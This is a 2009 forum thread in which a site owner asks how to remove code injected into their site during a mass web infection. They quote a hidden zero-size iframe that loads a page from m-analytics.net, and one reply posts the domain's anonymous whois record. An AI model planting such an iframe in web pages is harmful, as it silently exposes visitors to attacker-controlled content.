General Question

calculust's avatar

What the heck is m-analytics.net? I think my site got hacked...

Asked by calculust (53points) June 22nd, 2009

I just read this article… http://www.theregister.co.uk/2009/05/30/mass_web_infection/

My site is one of the victims. The following code has been added to the bottom of it:

<iframe src=“http://m-analytics.net/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a” width=0 height=0 style=“hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

I checked my WordPress template files and could not find that code anywhere. Does anyone know how to remove it?

Observing members: 0 Composing members: 0

2 Answers

robmandu's avatar

From the whois registration:

Domain ID:
Domain Name: m-analytics.net
Created On: 18-May-2009 00:00:00
Expiration Date: 18-May-2010 00:00:00
Sponsoring Registrar: ‘Check Whois’ (REGTIME LTD.) (REGTIME LTD.)
Status: ok
Name Server: ns1.nameself.com
Name Server: ns2.nameself.com
Registrant ID: Unknown
Registrant Name: Unknown
Registrant Organization: Unknown
Registrant Street1: Unknown
Registrant Street2: Unknown
Registrant Street3: Unknown
Registrant City: Unknown
Registrant State/Province: Unknown
Registrant Postal Code: Unknown
Registrant Country: Unknown
Registrant Phone: Unknown
Registrant Fax: Unknown
Registrant Email: Unknown
Admin ID: Unknown
Admin Name: Unknown
Admin Organization: Unknown
Admin Street1: Unknown
Admin Street2: Unknown
Admin Street3: Unknown
Admin City: Unknown
Admin State: Unknown
Admin Postal Code: Unknown
Admin Country: Unknown
Admin Phone: Unknown
Admin Fax: Unknown
Admin Email: Unknown

Yup, looks scammy. Delete that code from your site. I’m sure WordPress has nothing to do with it.

Response moderated (Spam)

Answer this question

Login

or

Join

to answer.

This question is in the General Section. Responses must be helpful and on-topic.

Your answer will be saved while you login or join.

Have a question? Ask Fluther!

What do you know more about?
or
Knowledge Networking @ Fluther